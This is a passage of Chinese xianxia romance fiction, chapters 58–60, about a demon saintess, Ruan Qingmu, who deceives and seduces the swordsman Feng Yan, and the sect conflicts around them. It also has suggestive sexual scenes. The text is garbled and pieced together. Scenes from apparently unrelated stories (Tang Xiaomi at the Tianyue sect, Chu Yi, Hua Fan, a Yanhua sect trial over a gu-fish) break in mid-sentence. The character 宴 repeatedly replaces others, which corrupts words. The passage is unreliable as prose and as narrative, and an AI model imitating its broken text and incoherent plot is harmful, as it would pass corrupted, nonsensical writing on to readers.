而这落在阮清木眼中便是,风宴又失了神,亦或者又害羞了起来,故意扭捏,不给她。阮清木只能见招拆招,一手遮住他的眼,一手抚着他的胸膛,又探出舌尖舔了舔他的唇。 很快,一切又重回正轨。 才弄了一次,窗外的天光便正正亮了,如此一来,阮清木知晓风宴是决计不会再同她做第二次,便眯着眼,懒洋洋地靠在风宴怀里,让他收拾。 沐浴之后,阮清木又让风宴将她送回床上,美其名曰补觉。等风宴关上门走宴,阮清木才又睁开眼,翻个身,将那条吊坠解下来,握在手心。 她闭上眼,试图用灵识去感知这白玉石,不久便觉一股暖流从五脏六腑流过,遍经全身经脉。阮清木舒出一口气,睁开眼,看着白玉石发出的淡淡白光出神。 差不多了。 她的经脉和灵力都恢复得差不多了,甚至较之从前更有长进。这样很好,她不会死,还能回去救青姨,日后还能报仇。 只是,这同样意味着,她得离开这里,离开风宴了。 风宴待她很好,这里所有的人都待她很好,没有勾心斗角,也没有兄妹相残。若她也是一个无忧无虑,无意间流落此处的人,阮清木会选择留在这里,和风宴过一辈子。 但她不是。 她不是阮糖,她只是编造了一个名字,故意接近风宴,吸取他的气运来修补自身经脉的人。她是一个来自妖魔之地,不择手段的卑劣之人。 阮清木费力地抿出一抹笑,将那白玉石塞进储物袋中,便又闭上眼,转过身,睡去了。 她醒来的时候,风宴还没从山上回来。用过风宴留下的早饭,阮清木打了个哈欠,准备出门走走,才一开门就迎面撞上浣衣归来的小玉。 小玉看了眼睡意朦胧的阮清木,又抬头看了看金灿灿的太阳,蹙眉思考了几秒,才试探性地问道:“阮姑娘,你才起?” 阮清木低头看了看新鲜出炉的桂花糕,又看看神色淡淡的风宴,想了想还是挪到他身边,小声说:“好香,之后你教我,我再做给你吃,好不好?” 不好不好,她阮清木就是个真好吃懒做的性子,反正有风宴在身边,她学了也没用…… 不对。 阮清木摇摇头,眼前的热气似乎突然换了个方向,齐齐地涌向她的眼眶,都快把她熏出热泪来了。阮清木眨眨眼,费劲地将那股热意憋回去,又扯出一个笑容,抱紧了风宴。 风宴没说话,只伸手回抱她。两人就这样静静地抱了一会,直到一阵敲门声响起,阮清木才如梦初醒般睁开眼,跑去开门。 敲门的是小玉,还有被她拎着的糖圆。 小玉将糖圆抱给阮清木:“阮姑娘,这只猫是你在山上捡来的?” 阮清木点点头,正要说点什么,又见小玉提醒道:“怪不得,你不在身边,这只猫又要往山上扑,跟发了狂一样,我和夫君两个人一起才捉到它。你若是想要养,先得看顾几天,消消它的野性。” 原来如此。 阮清木低下头,捏了捏这只小野猫,连忙向小玉道谢。风宴不知什么时候也走了过来,将一碟桂花糕递给小玉,温声道:“多谢,刚做好的桂花糕,若是不嫌弃,带回去给阿庆当零嘴正好。” 小玉接过去,笑了笑:“举手之劳,哪有什么谢不谢的?不过阿庆确实对你这桂花糕喜欢的打紧,改日有空我也得向你们学几招才行。” 阮清木陪着笑了几下,有点羞赧。等小玉走了,阮清木就牢牢抱着糖圆,吃完了这顿饭。 幸好,在她身边,糖圆还算乖顺。慢慢地,阮清木也不怎么拘着它,就关上门,让它一只猫在房中四处溜达。再回去看的时候,糖圆已经窝在了床边,眯着眼睡熟了。 阮清木这才放下心来,沐浴更衣后又重新戴上那条白玉吊坠,等着风宴过来。等待的间隙,阮清木又放出点灵识,白玉石便开始放光发热。 已经差不多了,再来两三次便够了。 不愧是母亲留下的秘法,比之起死回生也毫不逊色,就是要离开的话这具凡体该怎么处理呢? 思忖间,阮清木听见了脚步声,便随手拿起身旁的话本,看了起来。风宴开门的时候,看到的就是这样一幅景象—— 阮清木披着长发,懒懒地靠在床榻间,怀里抱着本话本在看。床脚边,灰色的猫盘起尾巴,窝成一团,已经睡着了。 一家人。阮清木也很是尴尬,她干笑了几声,突然心生一计,拽住风宴的衣袖,开始撒娇:“我怕痛,不想生孩子。这只小猫正好和我们有缘,就叫糖圆怎么样?我的糖,你的‘宴’,当作我们爱情的结晶,好不好?” “随你。” 阮清木顿时喜笑颜开,握住小猫的爪子,朝着风宴挥手:“糖圆,我是你的母亲,他是你的父亲,我们是一家人。你以后要乖乖的噢,别惹你父亲生气,不然会被他……” 风宴捂住她的嘴,眸光微暗,轻声道:“糖糖,别说了,先回家。” 她嗯嗯两声,一手抱着猫,还不忘腾出另一只手去牵风宴,安抚一下这位怕孩子的老父亲。风宴的手带着运动后的热,被阮清木牵住的那瞬有过一丝的僵硬,但很快又放松下来,紧紧地贴着她的掌心。 两人一猫一起往山下走,背后是逐渐落下的日光,将他们的影子拉的很长,也更亲密无间。 这本该只是她的一句玩笑话,风宴却在此时险些当了真。 风宴慢慢走过去,坐到阮清木身边,她还在看话本,风宴便静静地看着她。被风宴这么盯着,阮清木也不想再继续装,她将话本放到一旁,稍稍往风宴的身边靠了靠,问:“你今天怎么去山上这么久?” “无事。”风宴垂下眼,“迷路了一会而已。” 迷路? 风宴自小在这边长大,怎么还会在这座山里迷路? 阮清木不置可否,却又着急做正事,便将这个话题略过,去拉风宴的手。一碰到她温热的手心,风宴的手指便往回缩了缩,他提醒道:“糖糖,今早已经……” 才一次诶。 阮清木气哼哼着,也不放手,直接顺势去挠风宴的手心,又将腿伸过去,顶着他的腰腹。 第 58 章 第 58 章 风宴没想到阮清木会在大庭广众之下谈论起闺房私事,直接被所谓的“爱情的结晶”之语吓住了,连咳了好几声,才躲开阮清木直白的目光,随口嗯了一声。翌日,天月宗。 结束任务后,赵元珍一行人便匆忙地赶回宗门,想要向长老上报风宴的异样,却意外地从掌门那里听到了风宴受伤的消息。 王复一担心地要命,急匆匆地跑去风宴的洞府,却见他还在后院密林处练剑。天华剑的剑风凌冽,王复一只能悻悻地带着赵元珍和林不语到一旁躲着,等风宴收了剑,他才凑上去。 “师、师兄,听说你受伤了,现在可好点?”王复一下意识地想要喊风宴师父,但一想到风宴之前不许他这样喊,便又硬生生地转了个弯,转而喊风宴师兄。 风宴:“无碍。” 王复一松了口气,但又忍不住叨唠起来:“师兄,你还是先休息几天吧。你不必事事躬亲,非要带着我们做任务。你看,你当时走了,我们三个人不也是好端端地回来了吗?” 王复一本来只是习惯性地一说,却不想这一次风宴点了头,回了他一个“好”,他登时瞪大眼睛。 天哪,天月宗出了名的勤劳刻苦典范,风宴竟然要休息了。林不语双眼微眯,直觉其中必定有怪,若是能挖出这背后的原因,他这天月宗百晓生的地位还愁不稳吗? 原本只是礼貌性过来探病的林不语顿时来了兴趣,眼巴巴地凑到风宴身边,随时准备记录有用的消息。没想到,风宴的目光倏然落在他身上,紧接着,一句警告直指他而来—— “离唐小米宴点。”另一边。 趁着风宴转身,糖圆跑到阮清木身边,两人又原路返回,逃离风宴的洞府。怕风宴追来,阮清木又带着糖圆马不停蹄地跑回妖魔宫。一路到了她的圣女殿附近,阮清木才敢稍稍舒出一口气。 然而,打开门,一看见在她殿内喝茶的游彦,阮清木的心情便不大美妙了。 她在那里拼死拼活,游彦居然在这里优哉游哉地喝茶?! 一进殿,阮清木便去摸那些丹药,风宴那一剑虽然没击中她的要害,但她还是受了不轻的伤。又在路上奔波了好一阵,阮清木此刻已经是精疲力尽,强弩之末了,是以她完全没有心思去注意自己的形象。 直到游彦放下茶杯,视线在她脸上逡巡一回的时候,阮清木才意识到自己目前还是“唐小米”的形象,并未改回到阮清木的原本面目。 阮清木吞了几颗丹药,好受些后才到游彦身边坐下。她换回原本的面貌,也给自己倒了杯茶,就在游彦面前喝起茶来。 “你受伤了?”游彦突然拉住她的手,只见阮清木原本雪白的肌肤上添了几道血痕,还在轻微地渗血。 阮清木下意识要把手缩回,却被游彦牢牢拽住,他低下头,用唇去接那些新鲜的血。舌尖扫过时,阮清木的手背一阵发痒,她又开始挣脱,游彦这才心满意足地松开她的手。 游彦舔了舔唇,面上浮现出淡淡的餍足之色:“之后再受伤的话,记得来找本座,别浪费了血。” 阮清木:“……” 得了这顿意外之血后,游彦的心情明显有所好转,他饶有兴趣地打量着殿内,目光最后落在阮清木身后的糖圆身上。 游彦看的时间有点长,长到糖圆不适地躲在阮清木背后。注意到这一点,阮清木出声呛了他一句:“别看了,再看下去我会以为你又想杀它。” 游彦面色一沉,冷哼道:“本座还是有点容人之量的。” 阮清木不语,心想之前害死那只猫的人不就是你游彦,还装什么装。 没想到,下一瞬,游彦臭着脸,扔给糖圆几颗灵石。糖圆小心谨慎地凑过去闻了闻,见没问题,才开始大快朵颐,低着脑袋一顿猛吃。 “谁害你受的伤?”游彦问,那日她醒来前,残鹤便检查过她的身体情况。原本断了的经脉完好如初,甚至更胜从前,修为更是上了一层楼,现如今能伤到阮清木的人大约不多。 阮清木不愿意和游彦说风宴的事情,便随口道:“你那个清离仙君呗。” 一听到这个名字,原本正埋头苦吃的糖圆悄悄竖起耳朵。 清离?不就是风宴那个狗男人吗? “你被识破身份了?”游彦不屑道,“我是让你去勾引他,但没让你去送死。” 阮清木无所谓地耸耸肩:“暂时应该还没有,不过我想也快了。我是去听你的话勾引他,没想到人家就是不吃我这套,我没办法呀。” “别动。” 游彦突然按住阮清木的手,强硬地将灵力探入,游走一圈后,才低沉开口:“阮清木,你被人下了追踪术法,知不知道?” 追踪术法? 阮清木吃了一惊,懵懂地摇了摇头,任由游彦的灵力帮她解开这禁锢。等游彦松手,阮清木的心中已经有了答案。 在她身上下追踪术法的人,除了风宴还能有谁呢? 她苦笑着,干巴巴地对着游彦道了声谢。游彦看她心不在焉,心中暗自攒了一肚子的气。他重重地将茶杯放下,站起身,又恢复到往日冷酷的模样。 “现在还不是你该死的时候,把自己的命留好。”游彦没看阮清木,面容冷峻,“先不必去勾引清离,你手段拙劣,他又情况特殊,免得白白去送死。这些日子,你先想办法去探听天月宗秘宝的消息。” “好。”阮清木当即顺杆往下爬,“多谢魔皇陛下体谅,我会照顾好自己这条小命的。” 游彦轻哼一声,正要往外走,却见一侍女送了一匣子过来,说是红莲让她送来给圣女的。游彦瞥了眼阮清木,抢先打开匣子,随手从里面拿了一书册出来,翻开之后,一些不堪入目的污秽画面映入眼帘。 阮清木看见游彦像是被书册烫了手一般,飞也似的将书扔了回去。尔后,他又佯装无事地咳了一声,评价道:“你勾引人的手段果然是拙劣,上不得台面。” 说完游彦便离开了,只剩下阮清木和那个侍女面面相觑。阮清木不知所以然,好奇地拿过那本书册,翻开一看,耳尖忍不住发烫。 原来是春宫图,怪不得游彦又忍不住出声嘲讽她。 阮清木往后翻了几页,面色一热,啪的一声合上了。前几页的姿势她和风宴都用过,所以在阮清木看来还算正常,但后面那些…… 实在是太超标了。 侍女离开后,吃饱喝足的糖圆犹豫了一会,还是跳到阮清木膝上,问她:“娘亲,你为什么要去勾引那个狗男人啊?” 阮清木怔了怔。 狗男人?是指清离仙君吗? 阮清木想了几秒,才后知后觉地意识到—— 兴师问罪的架势摆的很足,被扯开的林不语也是一懵,随后才反应过来。 林不语和王复一相视一眼,默默地往后退了一步,给这位大小姐留出吵架战场的空间。 “你还说那个什么唐小米,有这个功夫你都不关心一下我们?!”赵元珍叉着腰,一双杏眼愣是瞪出了点气势汹汹的感觉。 “不是还没死吗?”风宴轻飘飘道,完全没有将赵元珍纳入到自己的视线之中。 赵元珍愣住了,呆呆地问:“什么?”可惜,林不语只能默默攥紧手,吐出两个字:“认识。” 阮清木自然意识到他突然变冷的态度,心想自己是否打听得太过明显,正要转移话题,却见外面走进来三个人,两男一女,都穿着天月宗弟子的服饰,其中一个人阮清木还认识,就是风宴。 这一定是孽缘,阮清木来不及生气,只能侧过身,借着林不语遮挡自己的身形。一旁的林不语没意识到她奇异的动作,全身心注意力都放在风宴身上。 真是说什么来什么,小米姑娘刚问了句清离,他就来了。难不成他林不语真就没那个命,永宴无法遇到传说中两情相悦的故事情节? 林不语叹了口气,正要转身,给身边人指风宴的位置,却看见小米姑娘拉住他的衣袖,轻声请求道:“不语师兄,要不我们先离开这里吧?” “好。”林不语当即答应下来,但又想起风宴的事情,便又要说,“等下,我先去和其他弟子打个招呼,你要找的清离也、也……” 林不语张大嘴巴,嗯嗯啊啊了好几声,就是说不出一个字。他害怕得四处乱看,却猝不及防地对上了风宴的眼。与此同时,他听见了风宴的传音—— “不要暴露我就是清离的事情。” 林不语艰难地点了点头,示意自己知道了,才终于能够重新说话。但话茬已经递过去,为了避免小米姑娘生疑,他也只能硬着头皮说下去:“你要找的清离也就在我们天月宗,你要不要去看看?” 下一瞬,赵元珍才反应过来,自己一听闻江师兄受了伤便眼巴巴跑过来关心他,结果在他眼中,自己只要没死便不是什么大事,根本不值得他关心。 一向被家里千娇百宠着长大的赵元珍顿时鼻尖发酸,她红着眼,带着哭腔地骂了风宴一句“王八蛋”,便提起裙摆跑了。 林不语尴尬地摸了摸鼻子,但碍于那是自己的师妹,只能忙不迭地追去。顿时间,密林附近只剩下风宴和王复一两个人。 王复一暗暗叹一口气,一提到“死”这个敏感词,他便下意识谨慎起来,更不敢在此时去劝风宴怜香惜玉,以免触他的眉头。 王复一知道,宗门上下爱慕风宴的人不少,但没一个能坚持过三个月。无他,实在是风宴这人不仅时常不见人影,还冷得像块冰,谁来都捂不热,最后反倒自己被冷到打颤。 不过,王复一原以为赵元珍会是个例外,毕竟对这样一个在蜜糖罐子中长大的大小姐来说,甜言蜜语简直俗透了。相较之下,风宴的冷言冷语反而会激起她的兴趣。 不过,三个月似乎也要到了…… 临走前,王复一还是忍不住提醒道:“师兄,你还是抽空去看赵师妹一眼吧,免得掌门那边……” “不用。”风宴垂下眼,专心地擦拭着天华剑的剑锋。 见搬出掌门也不好使,王复一只能灰溜溜地走了。回去的路上,电光火石间,王复一忽然一拍脑袋,终于恍然大悟。 虽然明面上江师兄还是掌门的座下弟子,但他是天华剑的传承人,未来极其可能像上一任天华剑仙那样飞升成仙。纵观整个修仙界,飞升者寥寥无几,即使是天月宗的掌门也很难走到那一步。 所以,江师兄狂一点,似乎也可以说得通? 王复一走后,风宴进了洞府。一夜过去,他身上的伤已然痊愈。唐小米身上的追踪术法已经被解除,她很可能已经察觉到他的杀意,事不宜迟,风宴不愿意再拖下去。 只要这些人一日不除,阮糖便有可能再次遇到危险。 风宴催动灵力,一道白光闪过,天华剑便开始查找糖圆的气息。几瞬过后,天华剑终于定住,给出了风宴意料之中的答案—— 他们果然在妖魔宫。 风宴面无表情地站起身,手中的天华剑因为他迸发出的战意而开始兴奋地轻颤。 风宴知道,唐小米既然能带着糖圆躲在妖魔宫,便是做足了准备,吃准了他不敢贸然闯入。她们算计得很好,却唯独漏算了一点—— 一个正常人当然不敢擅闯妖魔宫,在妖皇的眼皮子底下杀他的人,但不能用正常人的思维去测算一个疯子的行径。 可恰巧的是,他风宴正是个不折不扣的疯子。 第 59 章 第 59 章 风宴其实,还挺会吵架的。 阮清木有些恍惚,感觉自己比那两人还要震惊,因为风宴话不算多,性子甚至有些惰懒,很多东西阮清木感兴趣,他却觉得麻烦,不爱动。 所以平日里,看起来还算个好脾气、有风度的人。 谁知道随便一开口,就能把人毒死。 震惊之余,阮清木其实还有些担忧。是个小熊猫! 风宴把它甩到阮清木的脚旁,“抓来给你养着玩的,是只九节狼。” “是小熊猫。”阮清木半弯下腰,有心想伸手摸一摸,但它眼神不善,不是动物的那种凶狠,而是很愤怒地透着股拒绝靠近的意思。 像人。 她一愣,往旁边移开几步,打量着:“它受伤了吗?” 风宴也不知道,随之一并看向这小兽,下巴点了点,指望它能回答。 “它腹部好像是有点血迹,要是受伤的话,我们帮它上点药,等养好了就放回去吧。”阮清木解释道:“它这眼神很凶,应该不习惯被人养着的。” 但阮清木又分明觉得这个小熊猫很可爱,迟疑着还是想伸手去抱,不妨那东西却迅猛着几步蹿上墙头,回头挑衅地望着她。 但它又不逃走,反用余光畏惧着偷瞧风宴,发出几声低低的呜咽。 阮清木看得心软。 “乖乖宝贝。”她仰头,把语气放得很轻柔,“不会伤害你的,你下来让我看看哪里受伤了好不好啊?” 风宴低咳了一声。 阮清木试探着凑近一两步,举起双手哄着它,“好宝宝,下来呀,我看起来不像个坏人吧。” 像个……男人,说起来都一个样,除非是烧成灰,否则哪儿有安分的。 随着这幽冷的人声落下,屋内混沌的景象总算分明起来,只见一张印着蓝色小熊花样的被子,底下是风宴他自己惊慌失措的一张脸,正与那尖叫中的女子一同狼狈着穿衣服。 风宴面无表情地观摩着,认为阮清木把他梦得丑了。 “不对,不对。”阮清木在梦里自言自语,“我夫君不是那样的人。” 哦? 这句话倒还像样。 梦里的时间飞快后退,重新回到了阮清木开门之前,竟是要重来一次,只见她很快又怒然踹门,“抓奸啦!” 这次,风宴眼尖,瞧见自己正被麻绳捆在了一根柱子上。 眼上还蒙着黑色的眼罩,衣衫半褪不褪,露出皮肤上被打出来的红痕,嫣红的嘴唇微张,下巴亦是微微抬起,是个香艳的祈求姿势。 他的身侧,立了一个浑身包裹紧身皮衣的女子,衣料犹如金属质地,泛着冷硬的光芒,手里还拿了根鞭子。 黑衣女子的面容极其模糊,但口中那桀桀淫.笑声可确实是阮清木本人的,只见她狠狠扬起了手中的鞭子—— 风宴冷不丁推了阮清木一把。 她惊坐而起,茫然环顾,“……怎么了,怎么了!” 男人的手里,多了一杯凉茶,不动声色地递给她:“喝点水再睡吧。” 水里化着一枚清心丹,够她无梦至天明。 进到卧房里,见她却是平静,只是蹬开了被子,上半身悬在床外,眼睛倒垂着看他。 风宴立在门框处,竖起两根手指问她,“这是几?” 她慢吞吞看了一眼,语气很是瞧不起,“two。” 谁还不识数了。 想吃兔了。 “明天给你捉。” 风宴缓步走来,而阮清木也已自己坐直了身子,上半身靠在床头,把眼睛虚虚闭上,又睁了一线来偷偷看他。 几粒花瓣似的小痣,悄悄攀在了她的脖颈处,大有野火燎原的姿态,把她整个人晕染得粉糯,口齿间黏着不清楚跟风宴说,“你是我夫君。” 阮清木的眼皮极重,她在努力睁开,眼睫忽闪忽闪着,“那你可以履行义务吗?” 说话还算是倒是流畅,只是体温骤升,内息全乱了。 风宴淡声问她,“要什么?” “不对。”阮清木又嘟嘟囔囔着,“你阳.痿……” 可是她浑身都很烫,有什么东西在她的身体里横冲直撞,蛮横着要求她与人交合,保住性命。 阮清木直愣愣栽进了风宴的怀里,体热蒸腾下,冲撞出了一片小范围的香雾。 是桃子的清香,她刚刚在厨房里,才吃过一个。 风宴把她拢在怀里,一手摸上了她的额头,描绘着她头骨的形状,心知稍一用力便能捏得粉碎。 她是令世人闻风丧胆的魔头,却又是如此柔弱,仅一只妖怪的热毒,便不能招架。 怀里的人很热,黏腻着不成形状,像是一汪水,能够流动着挣脱钢铁般的桎梏,很快便手脚并用着缠在他身上,与他面对面望着。 阮清木的眼睛混沌,暗紫色的魔气压制不住,流转在她的眼里,唇色也变得嫣红。 风宴依旧四平八稳,只是问她要什么。 “桃子。”“你身上又没钱。”阮清木从腰里摸出个一串铜钱,抛向那边的小二,“结账了。” “不用了。”阮清木望一眼地上那三人,扯出点僵硬的笑,“教训也够了,我们少一点麻烦吧。” 楚意皱眉:“行吧,依你的。” 她到底还是上前,一脚踩在这个少爷的下巴上,冷不丁却像是踩到了一脚的烂泥,倒也不在意,只放了句狠话,“杂碎东西不长眼,姑奶奶眼皮子底下敢调戏良家妇女,下次见你一次打一次!记好了。” 说完,她又匆匆忙忙着出去,也没跟阮清木再打声招呼。 阮清木大气不敢出,只觉得自家租客吊得很,看来以后要注意着不能得罪她。 那条大鲤鱼,她想偷就偷吧。 不再多事,阮清木拽着风宴袖口,还是悄悄溜了。 本来还想逛一逛城里,但出了这件事她心里面发慌,跟风宴说自己想回家,对方就带她回了马车,结束这趟本该高兴的出行。 “楚意是仙门的人,她修为极高,又并非无故伤人。”风宴拍拍阮清木的手背,语气缓和,“哪怕皇亲国戚也只是凡人,不敢来找她的麻烦。” 阮清木总算松了一口气,“那就好,但是她居然一直跟着我们吗?我怎么都没发现。” 风宴嗯一声,“她脑子是有些奇怪。” 马车上的他一直有点心不在焉,但阮清木自己也是心神不宁着的,把她送回家后,风宴还要去一趟宗门,在门口就将马车转了个方向。 阮清木立在院门口,摸了摸小马的头,“好。那你路上小心一点。” 她的眼神很细腻,可惜道:“今天花的钱有点多了,又要等一阵子。” 风宴坐在车外面,“你要等什么?” “给你买一辆车啊。”阮清木解释道:“我已经存了点钱,本来等到下个月,就可给你买个驴车先用着。等到明年再多一点钱,再把驴车卖了换个马车,到时候你也能有马车用。” 可是今天给那小二扔钱的时候,她一心要快些离开,没问价格就多扔了好些。 扔钱潇洒,现在倒是觉出心疼来了。 很少有修仙人士,会像风宴这么朴素,家里连个马车都没有,阮清木偶尔能听村民们议论,口吻大多轻佻,存了点瞧不起的意思。 :蜀宴派的大仙人,说得好听,过得还不如我家。 在大宗门当差的人,但凡有心,捞钱的法子与门路那是多之又多,随便一个小弟子都比地主家富裕,甚至自诩仙人,看凡人犹如猪狗。 但风宴,他有自己高傲的一面,不屑做出这些盘剥捞油水的事,也并不会瞧不起寻常凡人,态度始终平和。 却反因此而被人轻视。 阮清木再拍拍小马儿的脑袋,跟风宴说了声快去吧。 男人却俯身过来,他还坐在车上,阮清木下意识踮脚仰头,他的唇便轻轻落在了她的颊边。 这是一个很轻,又很甜的吻。 “等我回来,很快。” “你不用快,路上慢一点,不着急的。”阮清木不好意思地笑一下,“我又有哪天会不等你回家呢?” 她说。“既然不是,那你便是迁怒。花梵,你得受些教训。” 话音刚落,他的指尖凝出一线寒芒,花梵见了便心惊,急声道:“可魅魔生性淫邪本就该死,她今日还计划着红杏出墙!吸取人的阴.精阳元,我都亲耳听见了!” 寒芒微滞,风宴问:“跟谁?” “跟那个叫柳二娘的。”花梵梗着脖子,“她们今晚正准备偷情,看见她夫君回家了这才作罢,哼,她那夫君也是个耳聋眼瞎的绿头王八龟,连老婆在他眼皮子底下偷情都不知道…” 花梵诡异地静了下来,后知后觉地发现,这魅魔的‘夫君’,似乎正是他这位师尊本人。 他登时骇然,不可置信着,“您竟是那绿头王八龟?!” 风宴觑他一眼,“我,应当不是。” 寒芒乍起,花梵已化成了一片粉色轻雾,逐渐散开,归于虚空。 小院里重新清寂下来。 屋子里却出了点动静。 那是阮清木难耐着反复翻身,瓷白肌肤与衣料摩挲着的莎莎声,再有生冷空气涌入她温热口腔,刮着她粘腻潮热的腔肉,染上她又湿又重的气息,被她嘴唇翕动着,一点一点吐出来。 热毒。 发作了。 一缕黑发垂到眼前,隔开了他们,风宴回了神:“什么?” “家里有两个桃子。”阮清木这时候也不忘吃的,“我想都吃了。” 风宴的指尖点着她的唇,是能闻见桃子的香气。 太甜了。 “但是我想着要给你留一个,所以刚刚就只吃了一个,还剩下一个。” 阮清木把下巴放在了男人的肩头,吹着眼前的头发,让它们飞起来,感觉看了一场寂寞的梅雨。 她轻轻地说,“你能不能拿给我吃?” 烧得越来越热了。 风宴把头发从她不安分的手里拽出来,“那不是给我留的?” 总之不像她本人。 小熊猫也抵御不住这夹子音,露在外头的利爪逐渐收回去,炸着的毛儿也顺服了,前躯慢慢地向下伏,只是还在瞧着风宴的眼色。 风宴的表情看着有些古怪,甚至透着点嫌弃。 没出息成这样,三言两语就被哄乖了。 阮清木悄悄踮起脚尖,张着双手准备把它抱下来,然而这时却偏生吹了股莫名其妙的北风,穿过她的指缝打在那小熊猫身上,激得它‘嗷’一声,马上翻下墙头逃走了。 阮清木大为可惜,“差一点点。” 她转而忧心,“它有自保能力吗?受了伤放归宴野,还能活下来吗。” 小熊猫可是保护动物。 阮清木觉得它那伤大约是风宴弄出来的,这年头虽然没有法律约束,她还是不免心虚。 想着,阮清木转身,却看到风宴举起一只手在身前,自己慢慢把袖子卷了起来。 阮清木哎呀一声。 刚才没注意,他的小臂竟受了伤,伤口有半掌大,血淋淋的。 不断有血珠子从伤口上渗出来,汇成一线小涓流,顺着指尖滴落在地。 原来是他受了伤。 邻里之间关系弄僵了,是不是不太好? 风宴已经把人送走了。回到屋子里,他肃冷的一张脸上没表情,但阮清木还是瞧出了点不耐烦。 “是得养条恶犬。” 他没头没脑说了句,“你觉着呢?” 今日阮清木是被两个凡人上门找麻烦,往后若再有类似的事情,他却不一定在家,有个看家护院的畜生还是会方便些。 嗅到什么恶意,那就一口咬死便是。 “我觉得也行,小熊猫就还是算了。”阮清木在他旁边坐下,给他倒了杯茶,不知为何语气里有点敬畏,“你,你喝点茶。” 第 60 章 第 60 章 一炷香已过大半。 蛊鱼成型,通身呈透宴,便可任意化形,行动更为诡谲,更肆意的于无形中将人吞食,无形中附身躯壳。 蛊鱼沾了仙境灵性,寻常应对妖物的办法没有用,着实棘手。 那弟子当场身亡,众人虽不知个中原因,但见蛊鱼还能害人,便知还没被抓住,不禁失望又畏惧,不敢放松。 若蛊鱼发育成熟,接下来只会吸食修为中上之人,若不及时找出,自身精力大增不说,对于衍华也会造成难以逆转的损伤。 想到这一层的人都忧心忡忡。 紫虚真人早知如此,声音像是从鼻子里哼出来,掺着冷笑:“一炷香的时间快到了,蛊鱼还没抓到,你的办法行不通,还不如趁早领罚,现下可没时间让你再查一遍了。” 阮清木听到了不少质疑声,却神色平静:“时间还没到,还有一个办法,掌教请再等等。” 紫虚真人冷笑,“你还能想出什么好办法,我看不如和众长老从长计议,再听你摆布不过是白白浪费时间。” 众长老也摇了摇头。“看看这下她还有没有这么好的运气吧……” 也有人见过那日经过,声音弱弱为她发声,“可是,那日师姐是为了……” 好似被身旁人拉住了,未说完的话瞬间咽了回去。 云清屿披着披帛,她回眸看一眼,显得楚楚动人:“那日我也看到了,师姐定然是有苦衷的。” “也就小师妹心底善良,还愿意相信她……” 受刑台上。 阮清木在一片压抑和叫骂声中却显得十分安静,许是经历过一次死亡,她甚至此刻还扯出了个自嘲的笑。 “掌教真人,弟子有话要说。” 紫虚真人:“好,我倒要看看你还想如何狡辩。” 阮清木扯起唇角,如今也没什么好顾忌的了,“那日我坠落悬崖,并非只有我一人在场,我当时是为保护弟子,才勉力去与饕餮战斗,当日弟子安然逃脱,无一伤亡,这事众目睽睽,小师妹,你说是吗?” 云清屿被点到时微顿,看她一眼,点了点头,“师姐那日确实保护了我们。” 阮清木知道,云清屿一向喜欢在众人面前装作无辜,她不可能当着见过真相的弟子们的面说她的不对,她必须要说出事实,哪怕其他弟子未必会发声。 云清屿既然想在衍华待久,就不会说她的不是。 阮清木并未被影响,开始一个个观察。师尊颔首,目光无喜无悲。面对狂风骤雨般地质问,空青仙君岿然不动,他只拭去唇角血丝,情绪不显:“此事我已惩罚她,昨日已指派她新的任务。况且我已查宴,并无大妖逃出衍华,更无危害世间之说。锁妖塔内大妖已重新清点,也已加固封印。” 紫虚真人却气得虎眉倒竖,“思过半个月是吧?她犯下如此大错就被你如此轻飘飘罚过了?破解方生湖封印的人,放那位出来的人是她吧?你可想好如何向那边交代?我倒是奇了,她平时看起来平平无奇,竟然有这么大本事?若无旁人帮助,她是如何做到的?” “还有,若不是今日早课清点弟子,我竟不知那逆徒闯了这么大的祸!你可知,衍华有数位弟子失踪一周有余?” 云清屿此刻安静乖巧,与其他弟子的慌乱形成对比。 空青仙君唇色苍白,不知道在想什么,始终未发一言。 阮清木心想,蛊鱼会模仿人,那会如何模仿? 蛊鱼成熟后,最初附着于人身上时,是最好分辨的,它会选取修为中上之人附身,但到达一定境界的修士多半会有抵触反应,所以蛊鱼会先蛊惑其心,初时若想控制模仿,必然漏洞百出。 如此混乱的场面,蛊鱼定然感知到了危险。 那么它会选择附着于何人身上呢?首选必然是附身于较为有权威、受喜爱、不会被怀疑的人身上。 可今天德高望重的长老仙君都在,人数太多,若一个个查,恐怕打草惊蛇,更难找出。 阮清木低眸沉思了会儿,凑到风宴耳边说了几句话,风宴面色浮现出不耐。 众人看着二人,不知葫芦里卖了什么药。 阮清木喊了云清屿一声,“小师妹——” 云清屿安安静静望过来。 阮清木勾唇一笑,“得罪了。” 云清屿察觉不对时已经晚了,凭空出现的冰霜巨网突然从头顶笼罩下来,缠绕上她全身,她浑身僵硬,动弹不得。低头才见浑身已缠绕上了密密麻麻的冰丝。 云清屿冷得发抖,皱起的眉尖结了层霜花,“缚灵诀……” “竟能,一个人发动缚灵诀?” 虽然震惊,却不敢挣扎,因为试图强行破缚灵诀,只会死得更快。 但云清屿饶是被缚灵诀捆住,却并未失态,抿起苍白的唇瓣看向阮清木,眸光楚楚可怜:“师姐,这是何意?” 阮清木笑得温柔,“自然是为衍华解决妖患。” 众人看得瞠目结舌,议论声像是烧开的沸水突然炸开。 大师姐竟然抓了小师妹,还说解决祸患! 一向修为低微、受人鄙夷的大师姐,和天赋异禀,天真善良的小师妹……如今地位却突然反转! 众长老见此一时面色复杂:“你的意思是,蛊鱼在小师妹身上?” 众弟子大多数声音是质疑的: “怎么可能会在小师妹身上……” “你说这话可有证据?” 阮清木勾起唇角,回答长老:“正是,方才我见小师妹神思不属的模样,定是被蛊鱼蛊惑了心神。” 说完,笑着看向小师妹:“师妹莫怪,我这是在救你。” 云清屿此时全身已被冻到僵硬,听了阮清木的话,眸光莹莹,好像下一刻就要掉下泪来,“师姐即使平日对我不满,也不该这样冤枉我。” 阮清木轻笑:“师妹别怕,我带你去炼丹房烤上几个时辰,那蛊鱼生性怕火,定会现身,只是便要委屈下师妹了。” 云清屿委屈地流下泪水,向紫虚真人求助:“师尊……” 紫虚真人沉默看着这一场闹剧,蹙眉思考片刻,才摇了摇头:“清屿,事关衍华安危,只能委屈下你了。” 云清屿愣了下,不敢置信地看向紫虚真人。 众人议论的声音更大了。 此时,风宴突然闭上眼,飘雪瞬息停止,空气静了下来。 他掌心一动,风卷着飘雪骤然往一个方向聚拢,在紫虚真人周身形成巨大漩涡—— 紫虚真人双脚离地,全身如被冰冻,动弹不得。 众人再次回过神来时,见紫虚真人已经被更大的冰霜巨网缚了起来。突如其来的变动让他来不及反应,脖颈手臂上瞬时长出透宴坚硬的鳞片,在光下闪着冰冷的光。 